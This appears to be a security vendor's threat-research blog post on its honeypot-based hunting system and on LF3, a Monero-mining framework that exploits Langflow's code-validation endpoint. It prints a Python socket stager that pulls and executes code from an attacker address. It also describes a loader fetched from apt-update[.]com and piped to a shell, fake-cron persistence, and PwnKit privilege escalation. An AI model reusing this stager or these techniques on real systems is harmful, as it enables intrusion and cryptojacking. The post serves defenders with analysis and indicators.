Key Takeaways
- A new, real-time threat hunting component of the TrendAI™ agentic exploit-remediation engine, code name AESIR, deployed honeypots to observe active exploitation of disclosed vulnerabilities, closing the loop between the intelligence tracking and code analysis of the engine’s other components.
- Running Langflow honeypots from May 2025 through July 2026, the TrendAI™ Research team captured 1,180 exploit attempts against the POST /api/v1/validate/code endpoint and identified a previously undocumented crypto mining framework designated as LF3, distinguished by a structured build manifest, a custom command and control (C&C) protocol over apt-update[.]com, and a shared AES-256-CBC decryption key consistent across all three build channels the team recovered a loader from.
- Three separate compromises across two sensors revealed that the same operator used both out-of-band staging (Meterpreter, interactive reverse shells) and inline loader delivery, with persistence achieved through a fake-cron fallback that required no root privileges.
- The payloads LF3 delivers are commodity tools (stock XMRig 6.22.2 and a public PwnKit proof of concept), but neither binary carries any LF3 artifacts, so effective detection must target the delivery framework and C&C protocol rather than the malware itself.
Extending vulnerability intelligence beyond disclosure
In January 2026, TrendAI™ introduced its agentic exploit-remediation engine, code-named AESIR, an AI-powered security research system that correlates known, real-world exploit activity with agentic code analysis and human oversight to discover zero-day vulnerabilities in foundational AI infrastructure. Today, TrendAI™ is introducing a new advancement in this engine: the ability to dynamically discover the exploits adversaries are actively using in real time. This threat hunting capability augments static lists of known exploited vulnerabilities with dynamic discovery.
Our agentic exploit-remediation engine launched with two subsystems: a vulnerability intelligence system that tracks what the world already knows about published vulnerabilities and decides what deserves attention, and an autonomous discovery system that reads source code for patterns consistent with known vulnerability classes and establishes which weaknesses are real by proving an exploit.
The TrendAI™ agentic exploit-remediation engine has been evaluated independently by CyberGym, a University of California, Berkeley initiative that uses a benchmark of 1,507 confirmed vulnerabilities across 188 open-source projects. As of the publishing of this blog post, it ranks first on the official CyberGym leaderboard, scoring 97% for discovering a vulnerability and building an exploit. Read our article, “Ranked First on CyberGym: TrendAI™ Agentic Exploit-Remediation Engine Scores 97% on the Top Exploit Benchmark,” for the details of our CyberGym evaluation. Each proof is a byte-level input that crashes the vulnerable build while leaving the patched version intact. However, a differential crash in a controlled harness only demonstrates that a vulnerability can be exploited. It does not indicate whether anyone is actively exploiting it, at what volume, or what they do with the host once they gain access.
That gap matters more for AI infrastructure than for almost anything else. Agentic orchestration platforms are stood up fast, exposed with permissive defaults, handed credentials and model API keys, and run by teams whose security attention is on model safety rather than infrastructure hardening. They also tend to expose code execution that is primitive by design, because executing user-defined logic is the product. Read as an ecosystem, that surface now functions as a supply chain for botnet operators: Attackers scan for internet-exposed deployments and treat them as ready-made compute, GPU-adjacent and frequently running as root.
Introducing dynamic, AI-powered threat hunting
TrendAI™ now extends the process of taking a vulnerability and its exploit from discovery to disclosure to an extremely critical next step: dynamically observing the exploit in the wild to identify if someone is actively using it, how they are doing this, at what volume, and whether the shipped patch actually removed the risk. How do we achieve this? The TrendAI™ agentic exploit-remediation engine reads code to establish that a weakness is real and pairs that with internet-facing honeypots open to attack to observe how attackers are actively attempting to exploit it — and then renders a verdict on what the traffic actually shows.
It’s a game changer — moving the industry from using AI to discover ever-greater numbers of vulnerabilities and exploits to pinpointing the most dangerous. With this advancement in threat hunting, TrendAI™ closes the most challenging area of risk-based vulnerability management: identifying what threat actors are actually doing with exploits and using that intelligence to get to faster remediation.
This new frontier threat hunting innovation is used exclusively by the TrendAI™ Research team, operating under human direction. The platform generates leads, researchers make the judgments.

A self-informing exploit-remediation engine
The threat hunting component of the TrendAI™ exploit-remediation engine does not operate in isolation. It works in conjunction with vulnerability intelligence and autonomous discovery.
From disclosure to observation: The vulnerability intelligence component surfaces newly disclosed critical vulnerabilities each day, which threat hunting turns into sensors. Threat hunting proposes and deploys honeypots that emulate the affected services. This means a critical vulnerability can be disclosed and a sensor that’s built to catch its exploitation can be collecting data within the same day.
From observation back to discovery: When the threat hunting honeypot logs show adversaries systematically farming a particular weakness class, that class becomes a priority for what autonomous discovery reads and analyzes next, which is then used within the vulnerability intelligence component to raise the priority of every unpatched sibling in the family. Autonomous discovery stops being a one-way pipeline and becomes a loop that learns from the adversary.
The clearest way to explain what the threat hunting system does is to show it producing a threat nobody had named.
How the advanced threat hunting system of TrendAI™ observes
The collection side is managed by TrendAI™ from end to end. TrendAI™ hosts the honeypots, while the threat hunting agentic system continuously monitors their logs. This resolves the payload, the target version, and the operator infrastructure behind an attempt, so a researcher can see what is attacking, how, and whether it is new.
Nothing about the sensor grid is a fixed asset list. It reshapes itself around what’s publicly known in the security community, driven by the same vulnerability data that sits behind the vulnerability intelligence component. Coverage is also deliberately not limited to the AI stack, because the same operators hit AI tooling and conventional software alike. What lands on conventional software is often the first warning of what will land on the AI stack next. Sensors fall into three groups:
- The AI stack: LLM and agent orchestration, retrieval, model-observability tooling, and notebook and workflow environments
- The enterprise stack that AI systems sit alongside, from identity services and message brokers to web frameworks and IT management
- Everything else worth watching, across multiple cloud regions and continents
Collecting attacks is not the hard part. Anyone who exposes a server to the internet collects attacks. The true value of a honeypot lies in filtering out routine internet noise to isolate the unrecognized anomalies that existing signatures fail to detect (such as zero-days and novel threat behaviors). Separating the two is at its core the hardest job. The overwhelming majority of what arrives is set aside, logged rather than deleted so any judgment can be revisited later. Only a small remainder survives filtering, and a smaller fraction still is confirmed as a threat and read by a researcher.
Everything in this post came out of the first group, the AI stack. The reason this activity was identified as unusual is that TrendAI™ had the other two for comparison.

Source: TrendAI™ Research. Sensors are honeypots hosted on infrastructure we own. No customer environment is observed and no customer data is involved.
Every stage of the process that turns raw sensor traffic into a confirmed threat finding is machine-assisted and researcher-confirmed:
- Collection: The platform decides what to watch, from the disclosure feed. Researchers decide what is worth standing up and what the sensor should look like.
- Triage: Clustering groups via look-alike payloads, surfacing the ones matching nothing known. A researcher decides whether an outlier is a new family or an old one wearing different clothes.
- Confirmation: A researcher recovers and identifies a payload with platform support rather than by a button. Nothing is concluded from an automated verdict alone.
Scope: Every sensor behind this research is a honeypot TrendAI™ hosts on isolated infrastructure — no customer environment is observed and no customer data is involved. Threat hunting is an internal research capability rather than a product. It is not available to customers, and nothing in this post describes a service. The output of this work — the analysis below and the indicators that came out of it — is published research.
One investigation shows all of that working at once, and it is worth following all the way down: a CVE family nobody can untangle from advisories alone, sustained exploitation across more than a year, and a threat nobody had written down.
Classifying over a year of Langflow exploit traffic
Langflow is a widely deployed open-source framework for building LLM and agent workflows, and it listens on port 7860 by default. Like the AI platforms discussed above, it deliberately exposes a code-execution capability as part of its core functionality, and it is widely deployed. Those characteristics make it an attractive target for attackers, and our sensors regularly observe attempts to exploit it.
Between May 13, 2025, and July 31, 2026, the honeypots running Langflow builds recorded 1,180 requests to POST /api/v1/validate/code from 70 distinct source addresses. By classifying every request body by the action it was trying to achieve, our system produced nine objective classes. The largest of the nine (636 requests from 42 sources) is not a behavior at all but a residual bucket — meaning everything that matched “none” of the eight patterns we classified on was put in the residual bucket. Below that sit the recognizable shapes, 33 requests reading /etc/passwd and 33 echoing an identifier to confirm execution.
One class refused to fit that shape. A packed loader accounted for 353 requests from seven sources (usually arriving as a compressed and base64-wrapped Python blob). The class was not made up of one thing. A handful of events in the class are unrelated, including a pair of socket stagers pointing back to the sending address itself. For the rest, what ties them together is a configuration manifest carried inside the payload. And across the whole corpus, 586 request bodies carry one, sent from just three addresses between August 2025 and the last day of the window. That manifest describes a structured schema and a custom command-and-control (C&C) protocol. It matched nothing in public reporting. We tracked the family as LF3, after the application tag stamped into it.

Source: TrendAI™ Research, the threat hunting component honeypot capture. Counts sum to 1,180.
This post is the technical analysis of that framework. Three payload families had already been documented against Langflow: the Flodrix DDoS botnet and the JADEPUFFER agentic ransomware campaign on this same validate/code primitive, and a Monero miner on the separate build_public_tmp endpoint tracked by the engine as CVE-2026-33017. LF3 is the fourth payload, and this is its first public description. The comparison that matters most is the third, because LF3 is also a Monero miner. What separates the third and fourth payloads is the delivery framework rather than the objective: a different endpoint, a different C&C, and a configuration schema and protocol that appear nowhere in the published reporting on that campaign.
From one cluster to a named threat
Most of those objective classes are one-shot. An attacker sends a payload, it either lands or it does not, and they move on. A smaller number of cases represents maintained tooling that keeps returning. Telling the two apart is exactly the judgment a researcher cannot make by reading individual requests, because at the level of a single request they look the same.
The threat hunting component of the TrendAI™ agentic exploit-remediation engine groups the look-alike payloads by TLSH (Trend Micro Locality Sensitive Hash) similarity, so near-identical bodies collapse into one cluster and anything resembling “nothing known” stands out. LF3 surfaced during a standing originality review, in which researchers routinely assess whether anything in the corpus fails to match known tooling. Most of what TrendAI™ Research had was consistent with techniques already published against this primitive, or with ordinary commodity tooling. One cluster was neither. Its C&C domain, configuration schema, key seed, and protocol did not match any of the documented families, and neither payload it fetched was known to VirusTotal. That cluster was LF3.
Two further properties of the threat hunting component shaped what we could establish. Full packet capture was retained rather than summarized, so we could go back and resolve the version each target ran, the session state, and the exploit body itself. And payload transfers split across time-capped captures can be reassembled into complete files, which is how both delivered binaries came back from downloads that were individually truncated.
The second of those comes with a rule attached. Fetching a sample from live attacker infrastructure tells the operator they are being watched and burns future visibility, so we do not do it. No researcher-initiated packet in this work reached adversary infrastructure, and no sample was executed. The compromised honeypots themselves talked to the C&C at length, which is the entire point of running them.
Why the CVE cannot be read off the wire
One triage problem shapes every detection rule that follows. Three separate CVEs land on POST /api/v1/validate/code:
- CVE-2025-3248, a missing-authentication flaw before 1.3.0
- CVE-2026-0770, the unsafe exec() inside validate_code() itself
- CVE-2026-0768, covering the code parameter on the same route
On the wire, they are indistinguishable. The request has the same shape in all three cases, and which one applies depends on the version the target was running and whether the caller held a session.
The underlying code-execution mechanism is identical in all three cases. Langflow parses submitted Python to an AST and compiles it, and Python evaluates decorators and default argument values at function-definition time, so code smuggled into a decorator runs during validation. Where a session is required, GET /api/v1/auto_login supplies one on request wherever anonymous login is enabled. Our sensors caught that happening: A token returned to an unauthenticated caller, seconds before the exploit.

The practical rule for anyone triaging their own logs is to identify the exploitation attempt first, then determine attribution afterward based on the target version and whether the caller held a session. Do not assign a CVE from the payload.
One indicator to avoid: The string exec_globals keeps turning up in signatures for this vulnerability, and it does not belong in any of them. The identifier is not a request parameter at all. Langflow uses it internally as the name of the globals dictionary passed to exec(), so it surfaces in server-side tracebacks and never in attacker traffic. Across the 1,180 request bodies we captured, it appears exactly zero times. A rule based on this string will match your own error logs.
The build manifest
Every LF3 loader carries a single-line JSON object and sends that same object to its C&C in a base64 query string on registration. It functions as a build stamp, and it is the most durable thing about the family.
The core of the schema is stable across every channel: pf, app, apc, ssl, dle, dlc, xrb, xrd, xro, pwn, prc, ctb, svc, and fct. The edges are not. The August 2025 channel omits rhs and adds xrc, a config filename; the proxied channel adds dlt, prx, and sprx, naming the transport and the two proxies. Key a rule on the stable core and treat the extra keys as a channel discriminator rather than a mismatch.
Decoding all 3,228 captured registrations resolves four distinct build channels operated by the same actor. The app and apc fields name the channel; xrb is the per-build seed. The channel remained stable across registrations, while the seed changed between builds.

Source: TrendAI™ Research, the threat hunting component honeypot capture
The field names are terse but most of them decode from consistent use across channels:
- pf – target platform, always Linux
- app and apc – name the build channel
- ssl – toggles TLS on the C&C channel, and is 0 in every capture, matching the plaintext port 80 traffic
- dle and dlc – download encryption and compression settings
- xrb – build seed
- xrd – per-build random token
- xro – numeric companion to xrd
- pwn, prc, ctb, svc, and fct – capability switches for privilege escalation, process control, crontab, service install, and the fake-cron fallback
Figure 8 shows the outcome of the three persistence mechanisms on a real host, alongside the privilege-escalation attempt.
The dle field points at the single best indicator in this campaign. Where a payload is served encrypted, the loader decrypts it with openssl and AES-256-CBC, and both the key and the IV are written into the loader in plaintext. Across all 1,263 loader deliveries in the capture, there is exactly one key and exactly one IV, and they are identical in all three build channels we recovered a loader from. That is the opposite of the xrb build seed, which rotates per channel. A 64-character hex string that survives channel rotation, sits in a script rather than a compiled binary, and has no legitimate reason to appear anywhere is about as clean a content signature as this kind of investigation produces.
openssl enc -aes-256-cbc -nosalt \ -K 9AA0CDEF13E65BD021A827C309355602DAFA5F611F9A665C3A2FDB2B901E27A9 \ -iv A3863F262BFAF1C3EB10543D9AF16499
One more string is useful for host-side scanning. The loader confirms the C&C is reachable by fetching /ts and comparing the response against the literal DL_T3ST_0K. We never captured a /ts response body, so we cannot confirm the server returns it. But the literal is present in 1,218 of the delivered loaders — the shortfall against the 1,263 above being deliveries truncated before that block — and it is a reliable thing to hunt for in a script on disk or in memory.
Two details merit closer attention. The first is rhs, which carries the compromised host’s own public address. In the January langflowai channel, one value repeats across all 965 registrations, and it matches the public address of the sensor sending them exactly. The July build does the same. We are not printing either value, because they are our sensors rather than adversary infrastructure. The value is not written by the loader, though: It is baked into the exploit body by the operator’s builder before any loader exists on the host, which means the operator knew each target’s public address at spray time. Where the field is populated, it ties a beacon to a specific host identity, which is a useful correlation key. The August channel omits the field and the proxied channel leaves it blank, so it is not available across all channels.
The second is the app tag itself. Only one of the 3,228 registrations reads LF3 rather than LFAI, and it is the July 30, 2026, one. The tag is not that rare in the wider corpus: 265 exploit bodies carry an LF3 manifest, the earliest on March 11, 2026, four and a half months before that registration. What makes July 30 singular is that it is the only time an LF3-tagged build got far enough to register with the C&C. That single event gave the family its name, and 3,227 registrations say LFAI.
Those query strings use a nonstandard character set, produced by three sed expressions captured verbatim in the operator traffic:
base64 -w 0 | sed -e 's#/#_#g' | sed -e 's#+#-#g' | sed -e 's#=#~#g'
In practice, only the tilde appears in the captured traffic. Of the 3,228 registrations captured, 1,770 carry a trailing tilde and not one contains a hyphen or underscore, because these manifests are short JSON strings whose base64 rarely produces either character. The remaining 1,458 encode to a multiple of four and carry no padding at all. A tilde-only rule therefore sees roughly half this traffic, so pair it with the schema fingerprint; do not lean on it alone.
Delivery: Three compromises, none of them alike
Three compromises occurred during the window, across two sensors. The first sensor was taken twice (five months apart), and a second sensor once. Each used a different delivery method, and the differences matter more than the similarities. All 3,228 C&C registrations in the corpus come from just these two hosts, which makes the channel table in Figure 5 readable as campaign structure, not noise.

Source: TrendAI™ Research, the threat hunting component honeypot capture. Indicators defanged.
Both compromises of the first sensor open the same way. A request to /api/v1/version fingerprints the build, a request to /api/v1/auto_login follows, and the exploit lands on the same endpoint seconds later. Our analysis records the auto_login call returning a token to an unauthenticated caller. The response bodies themselves are not in the exported capture, so treat that step as analyst-attested rather than reproducible from the raw events. The July 2026 compromise of the second sensor shows no such preamble in capture at all, which matters if you are writing a rule that expects the full sequence.
The token step is the interesting one. A neighboring honeypot took the same three requests in January (exploit included) and answered the auto_login call by refusing anonymous access. That host was not compromised. We cannot separate a pure unauthenticated bypass from token-assisted access in this capture, so we stop short of calling the setting decisive, but it remains the clearest difference between the hosts that fell and the one that did not.
The first two compromises put a socket in the exploit body, not the loader. In August 2025, the body was a compact socket stager. The body connected outbound to TCP 8881 on the attacker’s address, read a length-prefixed zlib blob from that channel, and executed it. In January 2026, the body was an interactive reverse shell to TCP 23365. Neither request contained the loader, and a rule assuming a loader-shaped body would have missed both.
The July 2026 compromise took a different approach. That exploit body carried the loader bootstrap inline, a one-line fetch of /ch from apt-update[.]com piped straight into a shell, with the build manifest already embedded in the query string. So, the same operator both delivered out of band and delivered in band, which is why anything built to catch this has to key on the primitive and the C&C, not on the shape of the body.
import socket,zlib,base64,struct,time
for x in range(10):
try:
s=socket.socket(2,socket.SOCK_STREAM)
s.connect(('185[.]213[.]26[.]27',8881))
break
except:
time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
d+=s.recv(l-len(d))
exec(zlib.decompress(base64.b64decode(d)),{'s':s})Unwrap the decorator, inflate the blob, and the passage above is the whole of the August exploit body. What came back down that socket is not what we expected. Three-tenths of a second after the exploit landed, the operator pushed a 24,773-character base64 payload, which inflates to 73,186 bytes of Python. It is not the LF3 loader. It is a Metasploit Meterpreter stage. It carries a session GUID (globally unique identifier), the full TLV (type-length-value) constant table, and 118 distinct stdapi commands, and a byte sweep of it returns no reference to apt-update[.]com, no configuration schema, and no build seed.
The 14 minutes between the exploit and the first C&C beacon at 10:38:52 are not a gap at all. The operator held an interactive Meterpreter session on the host across that entire interval, and the channel was still transacting at 10:39:02. The LF3 loader arrived separately, as a shell script in the HTTP response to the first /ch registration, and only then did mining begin. The August compromise therefore has two stages that are easy to conflate: a general-purpose remote access tool used to take and hold the host, and LF3 delivered over HTTP once the operator had it.
January ran differently, with the operator working across two shells. The first exploit at 16:41:33 opened a channel that carried nothing but a liveness check. The second, at 16:55:54, opened a fresh channel and that one carried the real session. The operator ran ps, which failed because the binary was absent from the container, fell back to a /proc walk listing every process by PID and path, killed five processes belonging to two rival toolsets, and pasted the loader. Curiously, they left a third rival running, a bash reverse shell to an unrelated address. C&C beaconing started at 16:56:48, and the loader’s debug output came back up the same channel:
DEBUG: [MAIN] DL_HOST=apt-update[.]com DEBUG: [MAIN] DL_TOOL=CURL DEBUG: [MAIN] XMRIG_ROOT_DIR=/app/data DEBUG: [MAIN] XMRIG_PATH=/app/data/k0sa1fdoepp8n9aq DEBUG: [DL_BIN(pw #1)] RESULT=OK DEBUG: [MAIN] PWN_DL=OK DEBUG: [MAIN] PWN_TEST=FAIL
That trail is what ties the operator at the keyboard to LF3, and it also records what the loader could and could not do on this host. Privilege escalation was fetched successfully and then failed, so the service install was refused outright for lack of root. The crontab layer failed too, but for a different reason. The loader runs that one unprivileged, and the same shell shows both ps and pkill missing from the container, so an absent crontab binary is the likelier cause than any permission check. The miner ran unprivileged.
Persistence was still established, however. The same debug frame reports an unprivileged fallback installing successfully: a fake-cron loop that re-fetches from the C&C and pipes the result to a shell on a fixed interval, requiring no root at all. Any response that treats a failed root escalation as a failed compromise would reach the wrong conclusion. The miner was running and the host kept beaconing.
The C&C protocol
Once running, the loader speaks using a small custom HTTP protocol to apt-update[.]com, a domain registered in March 2025 and fronted by Cloudflare. Four call types account for all observed C&C traffic, and they occur in a fixed loop.

Source: TrendAI™ Research, the threat hunting component honeypot capture. Indicators defanged.
| Call | Purpose | Observed |
|---|---|---|
| GET /dl?<manifest> | Payload fetch, twice per cycle, once each for xr and pw | 5,569 |
| GET /cr?<b64 config> | Reports the build manifest, about once per cycle | 3,210 |
| GET /ts | Heartbeat, opens each cycle | 2,868 |
| GET /ch?<b64 config> | Check-in variant, rare, but the first call each loader made | 18 |
The cycle repeats on a median interval of 212 seconds (roughly three and a half minutes), with a 90th percentile of 373 seconds. Downloads run at 1.94 times the heartbeat rate, which is the two-fetches-per-cycle pattern surfacing in aggregate. Over a few days, a single compromised host can become impossible to miss on egress, whether or not anyone caught the original exploit.
The download manifest shows the intent directly. The manifest is URL-encoded JSON, not base64, and a fetch reads {"f":"pw","t":"b","p":"lnx","a":"64","e":"","c":0}. Across the corpus, the split is 2,789 requests for pw and 2,780 for xr, and the order within a cycle is consistent: the privilege-escalation exploit first, the miner second. All three compromises show that ordering, and so does the loader’s own debug output.
Two artifacts may catch out anyone writing rules against this. Across all four call types, 1,599 requests used the absolute form, GET hxxp://apt-update[.]com/dl?... instead of a bare path. That is about one in seven of the C&C traffic. A further 236 requests are CONNECT //apt-update[.]com:80, issued through the operator’s own proxy between Jan. 31 and Feb. 2. Those carry no path at all. Strip scheme and host before matching, or a rule anchored to the start of the path misses every one of them.
One channel routes differently. The proxied python3 channel, running on the same host and overlapping in time with the January langflowai channel, sent its C&C through 170[.]78[.]97[.]83 on port 8181 for HTTP and 1088 for SOCKS instead of the Cloudflare front. That same address was the initial-access source in January. We describe it as a proxy and an access source because that is what the capture shows. We have not identified what sits behind the CDN for the other channels.
A note on the addresses in the IOC table: Three of them — 80[.]3[.]252[.]56, 89[.]116[.]25[.]70, and 185[.]185[.]80[.]58 — do not appear in the compromise narratives above, because they are the spray side rather than the hands-on side. Together, they account for the 590 bootstrap-carrying exploit bodies in the corpus, with 80[.]3[.]252[.]56 by far the largest and the longest-lived, running from August 2025 to the last day of the window and delivering the July 2026 compromise. They rotate but share one configuration schema and one C&C, and that is what ties them to a single operation rather than to three.
On-host behavior
One caution on sourcing before we go further, because it changes how these indicators should be weighted: The loader that runs on a compromised host is not the same artifact as the bootstrap one-liner that fetches it. Bootstraps are common in this corpus: 590 of the 1,180 exploit bodies reference apt-update[.]com and pipe a response into a shell, and 586 of those carry a configuration manifest. They are short and they vary. The delivered loader is a POSIX shell script of about 32 kilobytes served in the C&C response, and it is consistent. What follows describes the delivered loader, and we indicate wherever the two differ.
It clears the field first. The delivered loader wipes /dev/shm, /tmp, and /var/tmp. Two separate named kill-lists appear, and both sit in the bootstrap one-liners rather than in the loader itself. January carries a five-pattern pkill sweep against sys-update.log, ./systemk, CRON, mbilling, and linuxsys, pasted by hand. August carries a much longer killall list covering kinsing, kdevtmpfsi, Sakura, xmrig, and telnetd, sent from a single address. Both are worth hunting as behavior. Neither is an LF3 loader signature, and neither appears in more than one campaign, so do not build a family rule on either list.
It persists in layers, and only one of them needs root. It installs a service through whichever init system is present, trying systemd with Restart=always and falling back to update-rc.d and chkconfig. This second layer does require root privileges. The crontab entry and the fake-cron loop do not. The fake cron is the simplest persistence method, and it was also the one that worked. It copies /bin/sh into the working directory, writes a script that re-fetches /cr from the C&C, pipes the response to that shell every 180 seconds, and then backgrounds it.

One detail here is more likely than any other to become a bad rule, so be precise about it. The service takes its name from the per-build seed, so the name rotates with the channel and cannot be hardcoded. A different name, nginxlog, appears in one August bootstrap variant, but only as the target of an update-rc.d remove command. We cannot tell from the capture whether that is a competitor being cleared or an older LF3 service being replaced, and the loader uses the identical remove-then-write idiom against its own service name, so we assert neither reading. Treat nginxlog as a string seen once in this campaign rather than as a family indicator.
It fetches through whatever is available. The download primitive walks curl, wget, perl, and python2 in that order, piping the result into a shell. The Perl fallback is the notable one, because a host hardened by removing curl and wget is still reachable through it.
Nothing about the working directory is fixed either. It walks a list beginning with the service account home and continuing through /dev/shm, /var/tmp, and /tmp, takes the first writable path, and creates a randomly named subdirectory inside it. On the Langflow container image, that resolves to /app/data, as the debug output shows, but on a differently packaged host, it will resolve somewhere else entirely. Where the loader reaches root, it then copies itself into /usr/bin under a directory named after the build seed. Pin a detection to the literal /app/data and it will miss any deployment that is not this container.
What LF3 actually delivers
What LF3 actually fetches is less sophisticated than the machinery that delivers it. Most research of this kind stops there, because the samples live on infrastructure the researcher cannot safely reach. Both binaries here were multi-megabyte ELFs whose downloads spanned several rolling captures, each cut short, so carving any single capture produced a corrupt file. Fortunately, the truncation is detectable rather than inferred. An ELF records its section and program header offsets inside itself, and when those offsets point past the end of what was captured, the file is provably incomplete.
Merging the overlapping segments across captures reconstructed both binaries, and the same completeness check confirmed the results before any analysis. Identification followed under Ghidra’s Headless Analyzer, imported and decompiled but never executed. The distinctive tokens that came out, the configuration schema fingerprint, the key seed and the sample hashes, went to public reporting for a prior-art check. Zero hits made LF3 a candidate for a novel classification, and the rest of the analysis bore that out.
Two complete malware samples, recovered from captures that were individually broken, without a single packet sent to the adversary: The tooling to automate that sequence is still being built out. We describe it here for the constraint it satisfies, not the machinery.

Source: TrendAI™ Research. Static analysis of the recovered samples, re-verified against the archived binaries.
The miner is XMRig 6.22.2, the open-source Monero miner, built statically against musl on Alpine and carrying the XMRig project’s own build-tree paths. The January channel announced itself as 6.25.0 in its mining login, so the operator tracks upstream releases. No operator pool and no wallet address are compiled into the binary, so both arrive at launch from the loader, and neither is a durable indicator for the family. The runtime destinations are as follows: the August compromise mined to 173[.]249[.]48[.]227 on port 80, and the January one through the operator’s own SOCKS proxy on port 1088. Pin those per campaign.
The mining logins authenticate with the literal placeholders x and x, and set a rig identifier of LFAI_ followed by an address. That address is not always the victim: In August, it was the compromised host’s public IP, but in January, where the loader ran proxied with no remote host configured, it was the operator’s own proxy address. Do not assume the rig identifier names the victim.
A precision note for rule authors: The binary is stock XMRig, so it does contain the upstream project’s own donation and benchmark endpoints, including donate.v2.xmrig[.]com and randomx.xmrig[.]com. Those are not operator infrastructure and should not be treated as LF3 indicators. However, a detection built on the assumption that this binary contacts nothing but its configured pool will be surprised during the default donation window.
The privilege-escalation payload is the public dzonerzy proof of concept for CVE-2021-4034, the PwnKit polkit flaw: a Go 1.17.6 binary, unstripped, still carrying its original author’s build path. Beyond the Go standard library, no second developer build tree appears anywhere in it. That absence is good evidence the operator shipped the public tool exactly as its author released it rather than rebuilding it. Embedded at byte offset 1,320,960 sits a fake gconv module, which we confirmed byte for byte against the standalone file, and which the exploit reaches through GCONV_PATH by way of pkexec.
Two conclusions follow. Neither delivered ELF is known to VirusTotal despite both being years-old public tools, so hash reputation gives no coverage here. Only the embedded gconv module is recognized and has been so since April 2022. A byte-space sweep of all three files returns no apt-update reference, no protocol strings, and no build seed. Not one LF3 artifact appears in anything LF3 delivers. Detect the framework, not the commodity malware it carries.
Conclusion
The first published investigation of the threat hunting component of the TrendAI™ agentic exploit-remediation engine surfaced LF3. This is a cryptomining framework that’s been active for over a year across two sensors, three compromises, and four build channels — none of which appeared in any advisory or public reporting. The indicators that hold across multiple channels (the apt-update[.]com domain, the four-call C&C protocol, the AES key, the config schema) came entirely from over a year of the threat hunting component honeypot capture.
In the TrendAI™ agentic exploit-remediation engine, the vulnerability intelligence component tracks what the world knows about a vulnerability, while the autonomous discovery component reads source code to confirm which vulnerabilities are exploitable. With these three components now working in concert, defenders can now determine whether malicious actors are exploiting a vulnerability, how, and what happens if they succeed. The threat hunting component closes that gap, as shown by its discovery of LF3.
TrendAI Vision One™ Threat Intelligence Hub
The TrendAI Vision One™ Threat Intelligence Hub provides the latest insights on emerging threats and threat actors, exclusive strategic reports from TrendAI™ Research, and the TrendAI Vision One™ Threat Intelligence Feed in the TrendAI Vision One™ platform.
Emerging threats:
JADEPUFFER: Agentic ransomware for automated database extortion
JADEPUFFER Deploys ENCFORGE Ransomware Against AI Infrastructure
LF3 Malware Framework Exploits Langflow RCE for Cryptomining and Persistence
TrendAI Vision One™ intelligence reports (IoC sweeping):
LF3 Malware Framework Exploits Langflow RCE for Cryptomining and Persistence
TrendAI Vision One™ customers can retrieve the indicators associated with this activity for retrospective sweeping across their environments.
Indicators of compromise (IoCs)
All indicators are defanged. Shared-infrastructure caveat: The endpoint markers and body patterns are common to every actor abusing this Langflow primitive and will produce cross-family hits. The highest-fidelity LF3-specific indicators are the C&C domain, the four-call protocol, and the config schema.
| Type | Indicator | Notes |
|---|---|---|
| Domain | apt-update[.]com | C&C. Cloudflare-fronted, registered 2025-03-02. |
| IPv4 | 170[.]78[.]97[.]83 | C&C origin and proxy, HTTP 8181 and SOCKS 1088. Also Jan 2026 initial access. |
| IPv4 | 185[.]213[.]26[.]27 | Aug 2025 initial access, socket stager on TCP 8881. |
| IPv4 | 173[.]249[.]48[.]227 | Aug 2025 XMRig destination, port 80. |
| IPv4 | 80[.]3[.]252[.]56 | Exploit spray, primary and longest-lived source. Delivered the July 2026 compromise. |
| IPv4 | 89[.]116[.]25[.]70 | Exploit spray, rotation. Same schema and C&C. |
| IPv4 | 185[.]185[.]80[.]58 | Exploit spray, rotation. Low volume, June 2026. |
| Ports | 7860 in; 80 out; 8181, 1088, 8881, 23365 | Langflow, C&C, proxy, stager and reverse shell. |
| SHA-256 | 373a5aaa1b05ff4635e2db484147e91346bbde42dc5438b3bb3a0e780f8f5cc5 | xr, XMRig 6.22.2. Not known to VirusTotal. |
| SHA-256 | ca0ba7f6a11f3eb7888fbb171ca2faf9797c1fd66b8fe942e7660a5feda506dc | pw, dzonerzy PwnKit PoC. Not known to VirusTotal. |
| SHA-256 | 4184eaecbf06310a9d192b4c5c87aecfd0e8db9724fba57ec4a638e5768b8a46 | payload.so, fake gconv module embedded in pw. |
| Host | <writable dir>/<random> | Loader working directory, chosen at runtime. Observed as /app/data/<random> on the Langflow container image. |
| Host | /usr/bin/<build seed> | Relocation target where the loader reaches root. |
| Host | DEBUG: [MAIN] DL_HOST=, DL_TOOL=CURL, XMRIG_PATH= | Loader debug strings. |
| User agent | python-requests/2.31.0 | Exploit client, most common. |
| User agent | curl/7.88.1 and curl/8.14.1 | C&C fetches. The July 2026 LF3 build used 8.14.1. |
| Runtime | 173[.]249[.]48[.]227:80 and 186[.]248[.]195[.]197:443 | Mining destinations named in captured loader configs. Pin per campaign. |
| AES key | 9AA0CDEF13E65BD021A827C309355602DAFA5F611F9A665C3A2FDB2B901E27A9 | Payload decryption key, hardcoded. Identical across all three recovered build channels. |
| AES IV | A3863F262BFAF1C3EB10543D9AF16499 | Paired with the key above. Also constant across channels. |
| Loader string | DL_T3ST_0K | Literal the loader expects back from /ts as a reachability check. |